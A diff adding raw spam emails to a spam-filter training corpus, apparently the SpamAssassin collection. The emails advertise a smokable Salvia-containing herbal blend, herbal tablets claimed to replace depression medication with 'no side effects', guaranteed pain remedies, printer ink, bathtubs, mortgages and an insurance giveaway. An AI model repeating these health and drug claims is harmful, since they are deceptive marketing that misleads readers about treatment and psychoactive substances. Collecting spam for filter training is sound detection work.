JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY….JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). + +Temple “3” Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-“Sensitive/Responsive”, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! + +So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. + +ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! + +A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon “sensitive/responsive” herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple “3” Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the “happiness” coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. + +Ingredients: + +Temple smoking substances and Temple “3” Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES “House Smoking Substance Specialties”. Temple “3” Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple “3” Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshu! +ra cuttings. + +Please Note: Temple “3” Ragga Dagga (TM) is an absolutely legal, herba/botanical, “Personal Choice”, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple “3” Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple “3” Ragga Dagga (TM)…. And although we are not age-governed by law….Temple “3” Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple “3” Ragga Dagga (TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time…. As well, Temple “3” Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician’s care in any regard. + +======================================================== +Here is what our customers are saying about the Temple “3” Ragga Dagga (TM) phenomenon: + +“To whom it may concern, + +I was skeptical when I first read your ad. I grew up in the 70’s & 80’s. I was a hard core (alternative smoker) then. So I knew my stuff. But drug tests stopped that! Now I am disabled from a degenerative muscle, ligament, and tendon disease. I was smoking (an illegal product) for the pain and nausea. Now I have something just as good; Temple 3, but cheaper, and it is legal! I also have a lot of trouble sleeping, but the Capillaris Herba made into tea works and smells great! Your products that I tried so far, are as good or better than your ads say! That is hard to find nowadays in a company. Who ever put this stuff together is a botanical genius. I will be a customer for life! Also, I talked with a lady on the phone when I was ordering, and asked her to find out if I could get my products and samples to hand out for free. And just send the customers to you. Or get a discount on products that I could sell retail to people. I would prefer the earlier one becau! +se, I can just talk about your products, I am a great salesman (about 10 years experience), I could hand out flyers, give out little 1 gram pieces as samplers with your business card enclosed, etc.. I am going to be unable to work a regular job for a while, maybe indefinitely? This deal would give me my own products and samples for free? You would get free advertising, word of mouth, samples into peoples hands to try, someone that is very good with computers, someone who studied about mail order, Internet, cold calling, small business, good with people, etc.. I would like to be doing something, even if I would get on Social Security Disability. It is very disheartening not being able to work to support my 2 teenage boys, or do a lot of the things I used to do! At least I would be able to do something worthwhile. And great products makes it real easy to sell. Let me know what you think? + +Sincerely, + +RJ” + +Location: Midwest, U.S.A. + +“Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you.” + +-- Frankie R. + +Location: West Coast, USA + +“I’m a man of my 40’s and I really know my stuff. I don’t drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple “3”. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70’s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?!” + +-- A.J. + +Location: United Kingdom +======================================================== +Finally, we realize of course that this Temple “3” Ragga Dagga (TM) is not inexpensive…. (Temple “3” Ragga Dagga (TM) is a very, very Sweet Smoke and “sweetness” is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft…. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple “3” Ragga Dagga (TM)…. Four or five draws of your pipe….as is the magical way….lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple “3” Ragga Dagga (TM) Package.) + +“Seventh Heaven” Temple “3” Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. + +************************************************************ +Our other fine herbal, botanical products include the following: + +1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +2. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... + +3. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... +********************************************* + +Sweet Vjestika Aphrodisia Drops (tm) inspires and enhances: + +* Extreme body sensitivity +* Sensitivity to touch +* Desire to touch and be touched +* Fantasy, lust, rapture, erogenous sensitivity ... +* Prolongs and intensifies foreplay, orgasm & climax +********************************************* + +"Seventh Heaven" Prosaka Tablets ... + +Entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. "Seventh Heaven" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. + +NO side effects! NO dependency! Vivaciously Mellow! +********************************************** + +"Seventh Heaven" Gentle Ferocity Tablets (tm) ... + +a non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. + +This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! + +For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal "diet aids" entitled as "Thermogenics" ... this is ABSOLUTELY the herbal agenda/product for you!! + +Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! +*********************************************** + +Extreme Martial Arts Botanical Remedies + +Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer + + Equivalence Tablets & Dragon Wing Remedy Spray + (Hei Ping Shun) (Hei Long Chibang) + +PLEASE NOTE: + +While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: + +1. Significantly reduce discomfort and pain! +(In many instances most, if not all, traumas and distress can be eliminated!) + +2. Significantly increase mobility and strength ratio. +(Please remember also the significance of proper diet, excercise, rest and prayer.) + +Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. + +While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. + +======================================================== +!!!!Please refer to Introductory Offers further on in this text featuring Temple “3” Ragga Dagga (TM) along with our other “very fine” “Sensitive/Responsive” cordial botanical products…. Please enjoy!!! Many Blessings to you all…. +======================================================== + +PRICING INFORMATION: + +1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) + +2. SWEET VJESTIKA APHRODISIA DROPS (tm) +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +3. SEVENTH HEAVEN PROSAKA (tm) +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +4. SEVENTH HEAVEN GENTLE FEROCITY (tm) +One 300 tablet jar $130.00 + +5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. +** 3-pack (270 tablets) $83.00 +** 6-pack (540 tablets) $126.00 (save $40.00) +** 9-pack (810 tablets) $159.00 (save $90.00) +** 12-pack (1,080 tablets) $192.00 (save $140.00) + +6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. +** 3-pack (3 - 4 oz. bottles) $83.00 +** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) +** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) +** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) + +7. Dynamic Duo Introductory Offers +** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) +** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) +** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) +** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) + +8. SWEET APHRODISIA INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +9. BODY, MIND, SPIRIT "HEAVENLY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +10. "PURE ENERGY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) + +11. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER +Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. + + +************************************************** + +ORDERING INFORMATION: +For your convenience, you can call us direct with your orders or questions. + +Don't forget to ask for the 2 for 1 Weekend Special!! + Special good July 6&7, 2002 ONLY +Call 1-623-974-2295 +7 Days a Week -- 10:30 AM to 7:00 PM (Mountain Time) + +For all domestic orders, add $6.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. + +************************************************** + +SPECIAL DISCOUNT & GIFT + +Call now and receive a FREE botanical gift! With every order for a 2.0 oz. jigget / bar of Seventh Heaven Temple 3 or one of our four (4) Intro Combination Offers, we will include as our free gift to you ... a 2.0 oz. package of our ever so sedate, sensitive Asian import, loose-leaf Capillaris Herba for "happy" smoking or brewing ... (a $65.00 retail value). + +==================================================== + + +To remove your address from our list, click "Reply" in your email software and type "Remove" in the subject field, then send. + + + + + + + diff --git a/bayes/spamham/spam_2/00743.7889a6b188891a33c088f3d29d48251a b/bayes/spamham/spam_2/00743.7889a6b188891a33c088f3d29d48251a new file mode 100644 index 0000000..00243d3 --- /dev/null +++ b/bayes/spamham/spam_2/00743.7889a6b188891a33c088f3d29d48251a @@ -0,0 +1,103 @@ +From d_akh@hotmail.com Thu Jul 18 01:29:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 655BA43F90 + for ; Wed, 17 Jul 2002 20:29:56 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 01:29:56 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6I0LkJ05809 for + ; Thu, 18 Jul 2002 01:21:46 +0100 +Received: from fpc-1.fpc-hou.org ([209.247.107.8]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6I0LiR22535 for + ; Thu, 18 Jul 2002 01:21:45 +0100 +Received: from altalavista.com ([200.57.16.1]) by fpc-1.fpc-hou.org + (post.office MTA v2.0 0813 ID# 0-12780) with ESMTP id AHF161; + Wed, 17 Jul 2002 19:12:57 -0500 +Message-Id: <00005baa0c50$00007f79$0000464d@ams.aag.com.au> +To: , , + +Cc: , +From: d_akh@hotmail.com +Subject: Re: Got Ink? 21846 +Date: Wed, 17 Jul 2002 20:28:03 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +Reply-To: d_akh@hotmail.com + +What have you been up to? +I don't know about you, but I am sick and tired of going +down to the store to find out that your printer cartridges +cost more than the printer itself! I know how you feel +- I print over 500 pages a day, and it feels like there is +a vacuum sucking money out of my wallet! Now, this has got +to stop because I know it doesn't cost the printer companies +anywhere near what it costs me to do my office and school work! +Well, it finally has. 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Now, I can print all I want! + +I was so happy with the results that I contacted their manufacturer +and got permission to be a reseller - at a BIG discount.  I want +to help other people to avoid getting jipped by the printer companies +like I did. Because a penny saved is a penny earned! +I give you my personal pledge the SUPERINK soltuion will absolutely +WORK FOR YOU. If it doesn't, you can return your order anytime +for a full refund.    + +If you are frustrated with dishing out money like it is water to the +printer companies, or tired of poor quality ink & toner cartridges, +then I recommend - the SUPERINK solution. + +You're probably asking yourself, "Ok, so how do we save all this money +without losing quality and service?" + +Modern technology has provided SUPERINK with unique, revolutionary +methods of wax molding that allow the ink & toner to 'settle', which +prevents any substantial damage that would occur during shipping and +handling. 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With +our considerable experience we set out to blend the advantages of all the other of bathtubs offered in the market place into one range. After several years +development we produced our current range and the YEMA brand bathtub was patented in 2001. We were even awarded the "Gold Medal" in the "Chinese Patent Technology +Exhibition" and "The Ninth Chinese New Patent Technology and New Patent Product Exhibition" later that year. The YEMA bathtubs structural design is that of a normal +acrylic bathtub but conglutinated into a composite material. It is ridged and is made more than twice as thick as a normal unit, making it more smooth, gentle and +elegant. This manufacturing technique not only provides all the advantages of a normal acrylic bathtub (easily to clean, resistance to dirt, colorful,attractive etc) +but also provides increased heat retention, and extends the products life span. + +Besides our products on website, we now produce some new models for USA market. We also produce shower panels with finest quality. + +-------------------bathtub Specifications--------------------- +1,Wall thickness:10mm~20mm +2,Weight: 50~60KG + +-------------------Cooperate-------------------------------- + +We would like to be your OEM/ODM manufacturer. + +For detailed info, please browse our website http://www.wjjzzs.com + +Best wishes and regards, + +Export Manager +Jerry Lee +Mobile:13951228561 +Phone:0086-519-5211973 +Fax: 0086-519-5209776 +Wujin Huangli Composited Sanitary Factory +Add:HUangli town,Wujin county + Changzhou 213151 + Jiangsu province + P.R.China +Websie:http://www.wjjzzs.com +Email:wjjzzs@wjjzzs.com + +July 18, 2002 + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00751.3158a29a29997cc16a69497399d90ca2 b/bayes/spamham/spam_2/00751.3158a29a29997cc16a69497399d90ca2 new file mode 100644 index 0000000..dcb5226 --- /dev/null +++ b/bayes/spamham/spam_2/00751.3158a29a29997cc16a69497399d90ca2 @@ -0,0 +1,73 @@ +From fork-admin@xent.com Thu Jul 18 21:22:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9B31943F90 + for ; Thu, 18 Jul 2002 16:22:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 21:22:41 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6IKAOJ02108 for ; + Thu, 18 Jul 2002 21:10:24 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 38DC32940F3; Thu, 18 Jul 2002 12:55:12 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (unknown [195.47.73.106]) by xent.com (Postfix) + with SMTP id ED92D294098 for ; Thu, 18 Jul 2002 12:55:08 + -0700 (PDT) +From: clubman@mail.com +To: fork@spamassassin.taint.org +Subject: You - the following ? +Message-Id: <20020718195508.ED92D294098@xent.com> +Date: Thu, 18 Jul 2002 12:55:08 -0700 (PDT) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +Content-Type: text/html; charset=ISO-8859-1 + + + + + + + + + + + + + +
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    + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00752.c0892cd4ffff618e689dec28f2f4695e b/bayes/spamham/spam_2/00752.c0892cd4ffff618e689dec28f2f4695e new file mode 100644 index 0000000..43020f3 --- /dev/null +++ b/bayes/spamham/spam_2/00752.c0892cd4ffff618e689dec28f2f4695e @@ -0,0 +1,117 @@ +From spamassassin-sightings-admin@lists.sourceforge.net Fri Jul 19 08:33:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3564443F9E + for ; Fri, 19 Jul 2002 03:32:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 08:32:20 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6J7S4J02599 for ; Fri, 19 Jul 2002 08:28:05 + +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VSBH-0004Vo-00; Fri, + 19 Jul 2002 00:28:03 -0700 +Received: from skat.hubris.net ([207.178.96.21]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17VSAe-0001VF-00 for ; + Fri, 19 Jul 2002 00:27:24 -0700 +Received: from localhost (localhost [127.0.0.1]) by skat.hubris.net + (Postfix) with ESMTP id 4C1F68126 for + ; Fri, 19 Jul 2002 02:27:20 -0500 + (CDT) +Received: from corp.hubris.net (corp.hubris.net [207.178.96.145]) by + skat.hubris.net (Postfix) with ESMTP id 101508015 for + ; Fri, 19 Jul 2002 02:27:20 -0500 + (CDT) +X-Received: from sham.hubris.net (root@sham.hubris.net [207.178.96.147]) + by corp.hubris.net (8.11.6/8.11.6) with ESMTP id g6J4GFP18967 for + ; Thu, 18 Jul 2002 23:16:15 -0500 +X-Received: from puppis.hubris.net (puppis.hubris.net [207.178.96.20]) by + sham.hubris.net (8.11.6/8.11.6) with ESMTP id g6J4GFe20322 for + ; Thu, 18 Jul 2002 23:16:15 -0500 +X-Received: from inbound2.hubris.net (inbound2.hubris.net [207.178.96.19]) + by puppis.hubris.net (8.11.6/8.11.6) with ESMTP id g6J4GFf31520 for + ; Thu, 18 Jul 2002 23:16:15 -0500 +X-Received: from localhost (localhost [127.0.0.1]) by inbound2.hubris.net + (Postfix) with ESMTP id EE61528033 for ; Thu, 18 Jul 2002 + 23:16:14 -0500 (CDT) +X-Received: from saturn.kagi.com (saturn.kagi.com [206.112.98.187]) by + inbound2.hubris.net (Postfix) with ESMTP id 27E5D2802B for ; + Thu, 18 Jul 2002 23:16:14 -0500 (CDT) +X-Received: from 0017675265 (24-205-51-133.gln-res.charterpipeline.net + [24.205.51.133]) by saturn.kagi.com (8.11.0/8.11.0) with SMTP id + g6J49GF18257 for ; Thu, 18 Jul 2002 21:09:16 -0700 +Message-Id: <200207190409.g6J49GF18257@saturn.kagi.com> +From: "Jennifer" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Subject: [SA] Job Update +Sender: spamassassin-sightings-admin@example.sourceforge.net +Errors-To: spamassassin-sightings-admin@example.sourceforge.net +X-Beenthere: spamassassin-sightings@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 18 Jul 2002 21:16:12 +Date: Thu, 18 Jul 2002 21:16:12 + version=2.40 +X-Spam-Level: + +This is the worst job market we've seen in over 30 years. + +The recent corporate scandals have further deepened the lack +confidence in our economy and the plunging stock market that + is in the headlines this week will lead to additional layoffs creating +an EVEN MORE DIFFICULT JOB MARKET. + +Finding a job in today's market is a whole new ballgame. + +Blasting your resume to thousands of recruiters, posting your +resume to job boards and responding to job postings and +advertisements works for only 5% of the job seekers using +these techniques. + +Job searching based upon the tried and true process and +techniques used by recruiting professionals works for 85%. + +It's a no-brainer. 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b/bayes/spamham/spam_2/00753.c3032ff8329006ec6b39b6c821185b1c new file mode 100644 index 0000000..297d6b9 --- /dev/null +++ b/bayes/spamham/spam_2/00753.c3032ff8329006ec6b39b6c821185b1c @@ -0,0 +1,182 @@ +From inquiresto@yahoo.com Thu Jul 18 20:06:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B603C43F9E + for ; Thu, 18 Jul 2002 15:06:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 20:06:20 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6IJ5ZJ25376 for + ; Thu, 18 Jul 2002 20:05:35 +0100 +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6IJ5XR27182 for + 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b/bayes/spamham/spam_2/00754.9922dfbaee98abc6e1a3a00909a8d24e @@ -0,0 +1,33 @@ +Received: from ent-exchange.stanford.edu (ENT-EXCHANGE.Stanford.EDU [171.65.86.24]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6IN29t12788 + for ; Thu, 18 Jul 2002 18:02:09 -0500 +Message-Id: <200207182302.g6IN29t12788@linux.midrange.com> +Received: from 216.83.253.36 ([216.83.253.36]) by ent-exchange.stanford.edu with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) + id 3TQGY0C2; Thu, 18 Jul 2002 15:59:32 -0700 +From: jared0123894889154@yahoo.com +To: gibbs4star@earthlink.net +Date: Thu, 18 Jul 2002 16:00:02 -0700 +Subject: MORTGAGE INFORMATION FOR YOU!........ +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +MIME-Version: 1.0 +X-Precedence-Ref: 1234056789zxcvbnmlkjhg +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Status: +X-Keywords: + +HAS YOUR MORTGAGE SEARCH GOT YOU DOWN?
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    +     + + [PO1:KJ)_8J7BJK9^":}] + + diff --git a/bayes/spamham/spam_2/00755.4280e5603d66801661cbd0fe0b33eec8 b/bayes/spamham/spam_2/00755.4280e5603d66801661cbd0fe0b33eec8 new file mode 100644 index 0000000..dd51a83 --- /dev/null +++ b/bayes/spamham/spam_2/00755.4280e5603d66801661cbd0fe0b33eec8 @@ -0,0 +1,242 @@ +From aa@insurancemail.net Fri Jul 19 00:17:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0882D43F90 + for ; Thu, 18 Jul 2002 19:17:29 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 00:17:29 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6IN0SJ25491 for ; Fri, 19 Jul 2002 00:00:28 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Thu, 18 Jul 2002 19:01:01 -0400 +Subject: $50,000 Giveaway! +To: +Date: Thu, 18 Jul 2002 19:01:00 -0400 +From: "IQ - Ann Arbor" +Message-Id: <6280401c22eae$fc1ab0b0$6b01a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIumfQqJkUiZI08QAi0jyldK92wsA== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 18 Jul 2002 23:01:01.0062 (UTC) FILETIME=[FC39AA60:01C22EAE] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_436A1_01C22E78.6D2241B0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_436A1_01C22E78.6D2241B0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Ann Arbor Annuity Exchange $50,000 Giveaway! + When You Think Annuities...Think Ann Arbor +Just a short list of the many companies we represent + + +Fill out this form for a FREE entry in our $50,000 Giveaway! +Name: +E-mail: +Phone: +Fax: +City: State: + + +Agent Use Only. Employees and family members of Ann Arbor Annuity +Exchange and the +subsidiaries are ineligible. + +We don't want anybody to receive our mailing who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +Legal Notice + + +------=_NextPart_000_436A1_01C22E78.6D2241B0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +$50,000 Giveaway! + + + + + + + + +
    + + =20 + + + =20 + + +
    3D'Ann
    3D'When
    + + =20 + + +
    + Just a short list of the many companies we = +represent +
    + + =20 + + + =20 + + + =20 + + +
    =20 + + =20 + + +
    +
    =20 + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Fill = +out this form for a FREE entry in our $50,000 Giveaway!
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    Fax:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +
    + + =20 + + +
    =20 + +

    Agent Use Only. Employees and family members of Ann = +Arbor Annuity Exchange and the
    + subsidiaries are ineligible.

    +

    We don't want anybody to receive our mailing who does = +not wish=20 + to receive them. This is a professional communication = +sent to=20 + insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: + http://www.insurancemail.net + Legal = +Notice=20 +

    +
    +
